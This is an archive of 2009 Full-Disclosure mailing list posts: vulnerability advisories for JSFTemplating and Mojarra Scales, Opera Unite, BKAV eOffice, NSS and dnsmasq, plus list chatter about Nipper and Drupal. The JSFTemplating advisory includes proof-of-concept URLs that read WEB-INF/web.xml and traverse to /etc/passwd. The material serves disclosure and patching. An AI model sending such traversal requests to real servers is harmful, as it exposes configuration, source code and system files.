Templating for JavaServer? Faces Technology plugs into JavaServer? Faces to
make building pages and components easy.

Creating pages or components is done using a template file. JSFTemplating's
design allows for multiple syntaxes, currently it supports 2 of its own plus
most of the Facelets syntax. All syntaxes support all of JSFTemplating's
features such as PageSession, Events & Handlers, dynamic reloading of page
conent, etc.

source: https://jsftemplating.dev.java.net/#what
also see: 
http://kenai.com/projects/scales/
https://glassfish.dev.java.net/


Vulnerability overview/description:
-----------------------------------
The JSFTemplating FileStreamer functionality (when using the PhaseListener),
basically used for including static or dynamic content, such as Yahoo UI API
files with Mojarra Scales, is vulnerable to 
* file disclosure and also allows an attacker 
* to retrieve directory listings of the whole server

Furthermore Mojarra Scales and the GlassFish Application Server (v3 Preview)
Admin console are using vulnerable components too.

JSFTemplating/FileStreamer can be exploited to read sensitive application data
on the whole server depending on the configuration. One tested server allowed
us to access all files on the server (with rights of the webserver user),
another server was restricted to files within the webroot (but including
WEB-INF) - it might depend on the Java Security Model or filesystem rights.

An attacker is able to gain sensitive data such as configuration files
(WEB-INF/web.xml), the whole source code of the application or other sensitive
data on the server.

Furthermore it is possible to retrieve directory listings of directories on
the whole server and the webroot by specifying a directory instead of a file.


Proof of concept:
-----------------
The URLs to exploit this vulnerability may differ from server to server. The
vulnerable HTTP parameters are usually named "filename" or "file".

By specifying the following URLs an attacker gains access to sensitive
configuration files, source code or other possibly sensitive files:

========================
/jsft_resource.jsf?contentSourceId=resourceCS&filename=WEB-INF/web.xml
/jsft_resource.jsf?contentSourceId=resourceCS&filename=index.jsp
/jsft_resource.jsf?contentSourceId=resourceCS&filename=at/mycompany/
/jsft_resource.jsf?contentSourceId=resourceCS&filename=at/mycompany/some.class
========================


By using an empty value for the file/filename parameter, a directory listing of
the webroot is being shown. Directory traversal is also possible but it depends
on the installation/configuration whether it is possible to access data outside
the webroot.

========================
/scales_static_resource.jsf?file=
/scales_static_resource.jsf?file=../../../../../../etc/
/scales_static_resource.jsf?file=../../../../../../etc/passwd
========================


Vulnerable versions:
--------------------
JSFTemplating: 
* all versions < v1.2.11

Mojarra Scales:
* all versions < v1.3.2

GlassFish:
* v3 Preview (Admin console)

According to the vendor, GlassFish v2 does not use vulnerable components.

Vendor contact timeline:
------------------------
2009-07-07: Contacting the developers of JSFTemplating by email.
2009-07-07: Very fast response from the developers by email and IRC, initial
            attempts to fix the issue were being made
2009-07-08: Agreed on taking a further look into the issue by the end of July
2009-07-30: Contacted the developers again, they need more time
2009-08-10/13: Asked the developers for any news
2009-08-14: Anwser that the fix will make it into next release
2009-08-31: Fixes for JSFTemplating and Mojarra Scales available
2009-09-01: Coordinated release date

Special thanks to Jason and Ken!

Solution:
---------
* Upgrade to the latest version of JSFTemplating, v1.2.11 has the fix:
http://download.java.net/maven/1/com.sun.jsftemplating/jars/

CVS commit logs with some information regarding new security features can be
found here:
https://jsftemplating.dev.java.net/servlets/BrowseList?listName=cvs&by=date&from=2009-08-01&to=2009-08-31&first=1&count=16


* Upgrade to the latest version of Mojarra Scales, v1.3.2 has the fix:
http://kenai.com/projects/scales/downloads/directory/Mojarra%20Scales%201.3.2/


* GlassFish: Use the current stable version v2 or see workaround section for v3.

Workaround:
-----------
GlassFish v3 Preview: Use strong passwords for the GlassFish Admin console and
restrict access to the Admin console port (4848).

Advisory URL:
-------------
https://www.sec-consult.com/advisories_e.html#a61

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH

Office Vienna
Mooslackengasse 17
A-1190 Vienna
Austria

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
www.sec-consult.com

SEC Consult conducts periodical information security workshops on ISO 
27001/BS 7799 in cooperation with BSI Management Systems. For more 
information, please refer to https://www.sec-consult.com/academy_e.html

EOF J. Greil / @2009


From inferno at securethoughts.com  Tue Sep  1 07:51:39 2009
From: inferno at securethoughts.com (Inferno)
Date: Mon, 31 Aug 2009 23:51:39 -0700
Subject: [Full-disclosure] Pwning Opera Unite with Inferno's Eleven
Message-ID: <001b01ca2ad0$a89e20e0$f9da62a0$@com>

Pwning Opera Unite with Inferno's Eleven
----------------------------------------
Complete Post at
http://securethoughts.com/2009/08/pwning-opera-unite-with-infernos-eleven/

Opera Unite, the upcoming version of the Opera browser has a strong vision
to change how we look at the web. For those who are unknown to this radical
technology, it extends your browser into a full-blown collaboration suite
where you can chat with people, leave notes, share files, play media, host
your sites, etc. (Wow!!).

Opera Unite comes bundled with a bunch of standard services such as Fridge
(Notes), The Lounge (chatroom), etc. It is important to understand that
these services have two distinct views. One view is of the Service Owner,
who installs, customizes and runs these services on his or her computer. The
service owner and the computer running these services have associated
identifiers. By default, computer name is "home". So, your administrative
homepage is http://admin.home.uid.operaunite.com/. Remember that even though
the protocol of communication looks like http, it is not. Opera relays all
traffic using a proprietary ucp protocol (encrypted) to asd.opera.com and
auth.opera.com (no protocol details except here). The other view is of the
Service Page which is used by your users (friends, customers, etc) to access
your selected content. These trusted users can access your services from any
browser (not just opera unite) and uses the plain http protocol. The service
homepage is http://home.uid.operaunite.com/.

I was fascinated by this idea, so I decided to look at the security aspects
of the product (while it was in beta). Here are my findings in no particular
priority order (tested on 10.00 Beta 3 Build 1703). 

1. Enumerating Service Owner Usernames 

2. Enumerating Computer names for a particular Service Owner 

3. Enumerating Service Owner Server IP address and Port number 

4. Hijacking Insecure Communication in Service Pages 

5. Hosting Phishing Pages and other Malware on Trusted Operaunite.com 

6. CSRF-ing a File Upload from a Trusted User 

7. CSRF-ing a Note on the Fridge 

8. CSRF-Ing anyuserid to join a chatroom 

9. XSS ing the unite-session-id cookie, works for almost all services 

10. Clickjacking any Service Page 

11. Inconsistency in Password Policy for some services

Read details at
http://securethoughts.com/2009/08/pwning-opera-unite-with-infernos-eleven/

Thanks and Regards,
Inferno
Security Researcher
SecureThoughts.com



From namn at bluemoon.com.vn  Tue Sep  1 17:51:52 2009
From: namn at bluemoon.com.vn (Nam Nguyen)
Date: Tue, 1 Sep 2009 23:51:52 +0700
Subject: [Full-disclosure] [BMSA-2009-06] Remote code execution in BKAV
	eOffice
Message-ID: <20090901235152.d21d593e.namn@bluemoon.com.vn>

BLUE MOON SECURITY ADVISORY 2009-06
===================================

:Title: Remote code execution in BKAV eOffice
:Severity: Critical
:Reporter: Blue Moon Consulting
:Products: eOffice v5.1.5
:Fixed in: --

Description
-----------

We could not find out the definitive description for eOffice in English. This is our own understanding of the application: eOffice is an IMAP email client.

We have discovered a remote code execution vulnerability in eOffice. The attacker could force an unknowning user to execute arbitrary code.

To exploit this bug, an attacker only needs to send a specially-crafted email to his target's address. When the victim clicks on the email, malicious code will run immediately. From there, the attacker might take full control of the machine, or simply cause a Denial of Service.

This vulnerability exists in versions up to 5.1.5. Newer version might also be affected.

Workaround
----------

Current eOffice users are strongly advised to switch to other email clients such as the free Thunderbird, Sylpheed, Outlook Express, or commercial Outlook in the MS Office suite until the bug has been resolved.

Fix
---

Customers are advised to contact and request a fix directly from the vendor.

Disclosure
----------

Due to negative response in previous report (`<bmsa200806.html>`_), Blue Moon Consulting decided not to report this bug to the vendor but contacted the Vietnam Computer Emergency Response Team -- VNCERT.

:Initial contact:

  August 01, 2009: Initial security alert sent to office at vncert.vn, vncert at mpt.gov.vn, vncert at mic.gov.vn

:Co-ordinator response:

  August 01, 2009: Operation team replied that it would be the point of contact for VNCERT.

:Further communication:

  August 02, 2009: VNCERT requested proof of vulnerability.

  August 02, 2009: Blue Moon Consulting showed and recorded the proof of concept exploit.

  August 02, 2009: Blue Moon Consulting sent a draft advisory to VNCERT.

  August 07, 2009: Blue Moon Consulting showed the proof of concept exploit under close observation of VNCERT and Ministry of Information and Communications.

  August 09, 2009: Nguyen Minh Duc from BKAV requested us to provide technical details prior to the emergency meeting called for by VNCERT.

  August 10, 2009: Blue Moon Consulting requested to discuss with BKAV at the meeting.

  August 10, 2009: Ministry of Information and Communications held an emergency meeting comprising of representatives from the Ministry, VNCERT, VNISA, Blue Moon Consulting, and BKAV to verify the vulnerability in an independent environment. BKAV refused to attend the meeting.

  August 17, 2009: Nguyen Minh Duc asked Blue Moon Consulting to provide more technical information about the vulnerability based on VNCERT's request.

  August 19, 2009: Blue Moon Consulting replied with clear reasons why BKAV had voluntarily denied itself from such information. Blue Moon Consulting also requested that written request should be made if further assistance was required.

  August 24, 2009: Nguyen Minh Duc did not use official communication channel, and therefore was ignored.

:Public disclosure:

  September 01, 2009

:Exploit code:

  No exploit code provided.

Disclaimer
----------

The information provided in this advisory is provided "as is" without warranty of any kind. Blue Moon Consulting Co., Ltd disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. Your use of the information on the advisory or materials linked from the advisory is at your own risk. Blue Moon Consulting Co., Ltd reserves the right to change or update this notice at any time.


-- 
Nam Nguyen, CISA, CISSP, CSSLP
Blue Moon Consulting Co., Ltd
http://www.bluemoon.com.vn
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 195 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090901/3b65fe11/attachment.bin 

From security at mandriva.com  Tue Sep  1 20:32:01 2009
From: security at mandriva.com (security at mandriva.com)
Date: Tue, 01 Sep 2009 21:32:01 +0200
Subject: [Full-disclosure] [ MDVSA-2009:197 ] nss
Message-ID: <E1MiZ5F-0002Or-K2@titan.mandriva.com>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

 Mandriva Linux Security Advisory                         MDVSA-2009:197
 http://www.mandriva.com/security/
 _______________________________________________________________________

 Package : nss
 Date    : August 7, 2009
 Affected: 2008.1
 _______________________________________________________________________

 Problem Description:

 Security issues in nss prior to 3.12.3 could lead to a
 man-in-the-middle attack via a spoofed X.509 certificate
 (CVE-2009-2408) and md2 algorithm flaws (CVE-2009-2409), and also
 cause a denial-of-service and possible code execution via a long
 domain name in X.509 certificate (CVE-2009-2404).
 
 This update provides the latest versions of NSS and NSPR libraries
 which are not vulnerable to those attacks.

 Update:

 This update also provides fixed packages for Mandriva Linux 2008.1
 _______________________________________________________________________

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2408
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2409
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2404
 _______________________________________________________________________

 Updated Packages:

 Mandriva Linux 2008.1:
 9228daed5355d9175cbd25faf90a1323  2008.1/i586/libnspr4-4.7.5-0.1mdv2008.1.i586.rpm
 58c5ec5d221d0013254d144272162ece  2008.1/i586/libnspr-devel-4.7.5-0.1mdv2008.1.i586.rpm
 910b4ddc4285154103c7fd251feac41e  2008.1/i586/libnss3-3.12.3.1-0.1mdv2008.1.i586.rpm
 1ef05d27d0d04facfcbf1f13cc84c166  2008.1/i586/libnss-devel-3.12.3.1-0.1mdv2008.1.i586.rpm
 1add6ba2355ec0a0571407571f02226e  2008.1/i586/libnss-static-devel-3.12.3.1-0.1mdv2008.1.i586.rpm
 18de04c0e62a1e09800b25f045de726e  2008.1/i586/nss-3.12.3.1-0.1mdv2008.1.i586.rpm 
 daa825f74749ae4e255e7783eb590b90  2008.1/SRPMS/nspr-4.7.5-0.1mdv2008.1.src.rpm
 0d17f86fabf84c9ae04f7e520bc0a679  2008.1/SRPMS/nss-3.12.3.1-0.1mdv2008.1.src.rpm

 Mandriva Linux 2008.1/X86_64:
 58d390af357253669d802b948adcd728  2008.1/x86_64/lib64nspr4-4.7.5-0.1mdv2008.1.x86_64.rpm
 81b4060266dc9451903c1ba359b49ebe  2008.1/x86_64/lib64nspr-devel-4.7.5-0.1mdv2008.1.x86_64.rpm
 ddb36ba3de5f39010481bc71c8c6b6f1  2008.1/x86_64/lib64nss3-3.12.3.1-0.1mdv2008.1.x86_64.rpm
 404e5c1d07c1838c7cfcc03d4ca0d94a  2008.1/x86_64/lib64nss-devel-3.12.3.1-0.1mdv2008.1.x86_64.rpm
 ad4bd40e77dd746fe9cddfb4c34d2f62  2008.1/x86_64/lib64nss-static-devel-3.12.3.1-0.1mdv2008.1.x86_64.rpm
 cbad5d086771ecd927edd51eda1fd36c  2008.1/x86_64/nss-3.12.3.1-0.1mdv2008.1.x86_64.rpm 
 daa825f74749ae4e255e7783eb590b90  2008.1/SRPMS/nspr-4.7.5-0.1mdv2008.1.src.rpm
 0d17f86fabf84c9ae04f7e520bc0a679  2008.1/SRPMS/nss-3.12.3.1-0.1mdv2008.1.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 _______________________________________________________________________

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  <security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFKnUuBmqjQ0CJFipgRAo4ZAJ9NgZWnA+od3Avaz/JL0AUPsLuifwCg4Ko7
xlh7P0f6Beuzo4/4fxPw+EU=
=I1n/
-----END PGP SIGNATURE-----


From badmotherfsckr at gmail.com  Tue Sep  1 20:39:06 2009
From: badmotherfsckr at gmail.com (BMF)
Date: Tue, 1 Sep 2009 12:39:06 -0700
Subject: [Full-disclosure] Think Drupal was FLOSS and non-profit? Think
	again.
Message-ID: <ff6682c60909011239u591d3a83kb75e3e49b17a0e26@mail.gmail.com>

drupal at hush.com wrote:
> Thought Drupal was open source and non-profit? Not anymore.

This seems like a relatively minor issue. I thought the fact that it is
written by newbs in PHP (if they weren't newbs they wouldn't still be coding
php) and therefore a remote root server would be enough to keep people away
from it, much less any trademark issues.

BMF
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090901/5aff3755/attachment.html 

From fw at deneb.enyo.de  Tue Sep  1 20:41:26 2009
From: fw at deneb.enyo.de (Florian Weimer)
Date: Tue, 01 Sep 2009 19:41:26 +0000
Subject: [Full-disclosure] [SECURITY] [DSA 1876-1] New dnsmasq packages fix
	remote code execution
Message-ID: <87ws4ia1w9.fsf@mid.deneb.enyo.de>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
Debian Security Advisory DSA-1876-1                  security at debian.org
http://www.debian.org/security/                           Florian Weimer
September 01, 2009                    http://www.debian.org/security/faq
- ------------------------------------------------------------------------

Package        : dnsmasq
Vulnerability  : buffer overflow
Problem type   : remote
Debian-specific: no
CVE Id(s)      : CVE-2009-2957 CVE-2009-2958

Several remote vulnerabilities have been discovered in the TFTP
component of dnsmasq.  The Common Vulnerabilities and Exposures
project identifies the following problems:

CVE-2009-2957
  A buffer overflow in TFTP processing may enable arbitrary code
  execution to attackers which are permitted to use the TFTP service.

CVE-2009-2958
  Malicious TFTP clients may crash dnsmasq, leading to denial of
  service.

The old stable distribution is not affected by these problems.

For the stable distribution (lenny), these problems have been fixed in
version 2.45-1+lenny1.

For the unstable distribution (sid), these problems have been fixed in
version 2.50-1.

We recommend that you upgrade your dnsmasq packages.

Upgrade instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 5.0 alias lenny
- --------------------------------

Source archives:

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq_2.45.orig.tar.gz
    Size/MD5 checksum:   377466 59106495260bb2d0f184f0d4ae88d740
  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq_2.45-1+lenny1.diff.gz
    Size/MD5 checksum:    14514 c841708d86ea6a13f4f168d311638ff5
  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq_2.45-1+lenny1.dsc
    Size/MD5 checksum:     1006 377658fb3cb46cc670a86e475ff70533

Architecture independent packages:

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq_2.45-1+lenny1_all.deb
    Size/MD5 checksum:    12110 716c6f4f6e478f5a0f248725e4544dda

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq-base_2.45-1+lenny1_alpha.deb
    Size/MD5 checksum:   267294 d7ba6bd2b7363246587cf4ab8b78f721

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq-base_2.45-1+lenny1_amd64.deb
    Size/MD5 checksum:   258118 3b5fc290f6bfacd7450fbc138e63bcb7

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq-base_2.45-1+lenny1_arm.deb
    Size/MD5 checksum:   250676 0011c21826ab5f3b9c64444113acc97f

armel architecture (ARM EABI)

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq-base_2.45-1+lenny1_armel.deb
    Size/MD5 checksum:   252830 5999eff243a849fe31fba765e92228d0

hppa architecture (HP PA RISC)

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq-base_2.45-1+lenny1_hppa.deb
    Size/MD5 checksum:   258292 cadea4880ef01292affd271cde276226

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq-base_2.45-1+lenny1_i386.deb
    Size/MD5 checksum:   251182 cdad8cd873dc28fd69fdd7ca2e59cec1

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq-base_2.45-1+lenny1_ia64.deb
    Size/MD5 checksum:   301522 2723ddacd61bf4378115a1701848fa2c

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq-base_2.45-1+lenny1_mips.deb
    Size/MD5 checksum:   256426 0873691aa0b37c2873e93e1132d0db95

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq-base_2.45-1+lenny1_mipsel.deb
    Size/MD5 checksum:   257982 dd6342a053fc0bb9a3be6ec5b4aa3b2f

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq-base_2.45-1+lenny1_powerpc.deb
    Size/MD5 checksum:   257426 58e705f584e41b2598a6d62bfc7e2671

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq-base_2.45-1+lenny1_s390.deb
    Size/MD5 checksum:   255328 3abfb764f944344064aed16352156b04

sparc architecture (Sun SPARC/UltraSPARC)

  http://security.debian.org/pool/updates/main/d/dnsmasq/dnsmasq-base_2.45-1+lenny1_sparc.deb
    Size/MD5 checksum:   252234 4a6db5969b47698346b59828928dc0b5


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iQEcBAEBAgAGBQJKnXmhAAoJEL97/wQC1SS+BPQIAK1x7nctuD1BkdIVjSt5BXRG
cBlfdwgsyjXLoLocyN6A1lsHwcAcFPZI189aqLD2MU8MBJmugDdgReF4d6GTLI/T
zv2G0fkj9rggJXAeqpFOlMK/nhUNxRDAn8h/ZgXcFuTkY0zm1M2D1qhqKpvOjByC
U7im5+V/rp9VAFOaTdMnnvnBJX2nRnXULj85eIAaJYZSahX544UfKi6GLkjN0wji
b/FJvtn9yOT6Rkzgs528icZ3ZoDslTV8xQhuBgILhCcP5Dmp7JokbdzZ7h3zH1YV
8b0WwxEIF/mhmhlNVYDP6n2k2jLw+zLBF2c5jSIlHa67vChsLGeU3auqXAHMpq0=
=h2eE
-----END PGP SIGNATURE-----


From dpcybuck at gmail.com  Tue Sep  1 22:08:02 2009
From: dpcybuck at gmail.com (dpcybuck at gmail.com)
Date: Tue, 1 Sep 2009 21:08:02 +0000
Subject: [Full-disclosure] Nipper licensing
Message-ID: <1056085496-1251839280-cardhu_decombobulator_blackberry.rim.net-1105781716-@bda565.bisx.prod.on.blackberry>

Which version of nipper will you be using?  0.10.x or 0.12.6?
Which one is not governed by the new Titania license?


 
Sent from my Verizon Wireless BlackBerry


From jamie at canonical.com  Tue Sep  1 22:51:56 2009
From: jamie at canonical.com (Jamie Strandboge)
Date: Tue, 1 Sep 2009 16:51:56 -0500
Subject: [Full-disclosure] [USN-827-1] Dnsmasq vulnerabilities
Message-ID: <20090901215156.GA32579@severus.strandboge.com>

===========================================================
Ubuntu Security Notice USN-827-1         September 01, 2009
dnsmasq vulnerabilities
CVE-2009-2957, CVE-2009-2958
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 8.04 LTS
Ubuntu 8.10
Ubuntu 9.04

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 8.04 LTS:
  dnsmasq-base                    2.41-2ubuntu2.2

Ubuntu 8.10:
  dnsmasq-base                    2.45-1ubuntu1.1

Ubuntu 9.04:
  dnsmasq-base                    2.47-3ubuntu0.1

In general, a standard system upgrade is sufficient to effect the
necessary changes.

Details follow:

IvAin Arce, Pablo HernAin Jorge, Alejandro Pablo Rodriguez, MartA?n Coco,
Alberto SoliAto Testa and Pablo Annetta discovered that Dnsmasq did not
properly validate its input when processing TFTP requests for files with
long names. A remote attacker could cause a denial of service or execute
arbitrary code with user privileges. Dnsmasq runs as the 'dnsmasq' user by
default on Ubuntu. (CVE-2009-2957)

Steve Grubb discovered that Dnsmasq could be made to dereference a NULL
pointer when processing certain TFTP requests. A remote attacker could
cause a denial of service by sending a crafted TFTP request.
(CVE-2009-2958)


Updated packages for Ubuntu 8.04 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq_2.41-2ubuntu2.2.diff.gz
      Size/MD5:    22736 b0b1196898ba0a1d49dd3d767c1d685c
    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq_2.41-2ubuntu2.2.dsc
      Size/MD5:      706 ecf4c36193d5063039a63f33712df6e2
    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq_2.41.orig.tar.gz
      Size/MD5:   357997 8d0acd6656299a800c4d1be5a1193e39

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/universe/d/dnsmasq/dnsmasq_2.41-2ubuntu2.2_all.deb
      Size/MD5:    11964 e5fa2630695acfe9caa62d0d30a89b01

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq-base_2.41-2ubuntu2.2_amd64.deb
      Size/MD5:   210274 aab9865b6ad46104e28e5db9e98f6c74

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq-base_2.41-2ubuntu2.2_i386.deb
      Size/MD5:   202712 36d3885ee58bdb59ae323c9ea9528f3c

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/d/dnsmasq/dnsmasq-base_2.41-2ubuntu2.2_lpia.deb
      Size/MD5:   203286 0c2f1dbfefdbc27905284d323be2023d

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/d/dnsmasq/dnsmasq-base_2.41-2ubuntu2.2_powerpc.deb
      Size/MD5:   210564 53e28b512b863f41a605979c2ae4d51e

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/d/dnsmasq/dnsmasq-base_2.41-2ubuntu2.2_sparc.deb
      Size/MD5:   204218 2c03e7df659884baeac446d0a87c8e9e

Updated packages for Ubuntu 8.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq_2.45-1ubuntu1.1.diff.gz
      Size/MD5:    15256 100f87ac7b49fd2ad56a1baccd1aeae5
    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq_2.45-1ubuntu1.1.dsc
      Size/MD5:     1098 74863177e20c0340d7cf225fb60ac182
    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq_2.45.orig.tar.gz
      Size/MD5:   377466 59106495260bb2d0f184f0d4ae88d740

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/universe/d/dnsmasq/dnsmasq_2.45-1ubuntu1.1_all.deb
      Size/MD5:    12164 c78f9591778ad9fdea8744553cfe21d0

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq-base_2.45-1ubuntu1.1_amd64.deb
      Size/MD5:   219310 7d5435aeb7bd3b1c8c12c8e830f6e167

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq-base_2.45-1ubuntu1.1_i386.deb
      Size/MD5:   212322 c3053944a71e5be108251e1eadcb206c

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/d/dnsmasq/dnsmasq-base_2.45-1ubuntu1.1_lpia.deb
      Size/MD5:   211744 976e638797537eac32e3fd96ec0a78b9

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/d/dnsmasq/dnsmasq-base_2.45-1ubuntu1.1_powerpc.deb
      Size/MD5:   217828 78d5925bd54239598042b81230341f95

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/d/dnsmasq/dnsmasq-base_2.45-1ubuntu1.1_sparc.deb
      Size/MD5:   213498 b43f01c34f8471173bd8177b0300f292

Updated packages for Ubuntu 9.04:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq_2.47-3ubuntu0.1.diff.gz
      Size/MD5:    15599 54f4b48ec1ec03b06a5fa8b2706c0611
    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq_2.47-3ubuntu0.1.dsc
      Size/MD5:     1098 786c3dc587ceb870ea724d66ff0085dc
    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq_2.47.orig.tar.gz
      Size/MD5:   393306 8bf2bd2dcbd5b3e7a689611d20b51126

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/universe/d/dnsmasq/dnsmasq_2.47-3ubuntu0.1_all.deb
      Size/MD5:    13004 11219fb5f0ecd525a1bfb7ce95fd5e81

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq-base_2.47-3ubuntu0.1_amd64.deb
      Size/MD5:   229344 9c43a00001bb1feef5e3340225fc4704

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/d/dnsmasq/dnsmasq-base_2.47-3ubuntu0.1_i386.deb
      Size/MD5:   221568 e28309342282e463efdf10694046b96c

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/d/dnsmasq/dnsmasq-base_2.47-3ubuntu0.1_lpia.deb
      Size/MD5:   221032 19755ca579fa44543f3658d20abbcaac

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/d/dnsmasq/dnsmasq-base_2.47-3ubuntu0.1_powerpc.deb
      Size/MD5:   227238 a30b637a127aa09a0425550be64c5b49

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/d/dnsmasq/dnsmasq-base_2.47-3ubuntu0.1_sparc.deb
      Size/MD5:   222732 0f7dd8d1aabcad788a50b147fd1cb6ba


-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090901/7876ff2d/attachment.bin 

From jlay at slave-tothe-box.net  Tue Sep  1 23:00:25 2009
From: jlay at slave-tothe-box.net (jlay at slave-tothe-box.net)
Date: Tue, 1 Sep 2009 16:00:25 -0600 (MDT)
Subject: [Full-disclosure] Nipper licensing
In-Reply-To: <1056085496-1251839280-cardhu_decombobulator_blackberry.rim.net-110578
	1716-@bda565.bisx.prod.on.blackberry>
References: <1056085496-1251839280-cardhu_decombobulator_blackberry.rim.net-1105781716-@bda565.bisx.prod.on.blackberry>
Message-ID: <efbe05357777d66ff5323b7b417f390e.squirrel@www.slave-tothe-box.net>

> Which version of nipper will you be using?  0.10.x or 0.12.6?
> Which one is not governed by the new Titania license?
>
>
>
> Sent from my Verizon Wireless BlackBerry
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>

Isn't nipper that little application to parse through your cisco configs
and look for errors?  Looks like the dev wanted to make some money:

Nipper  Up to 5 devices  	1 Year  ?100
Nipper 	Up to 10 devices 	1 Year 	?180
Nipper 	Up to 50 devices 	1 Year 	?600
Nipper 	Up to 100 devices 	1 Year 	?1000
Nipper 	Up to 500 devices 	1 Year 	?3000
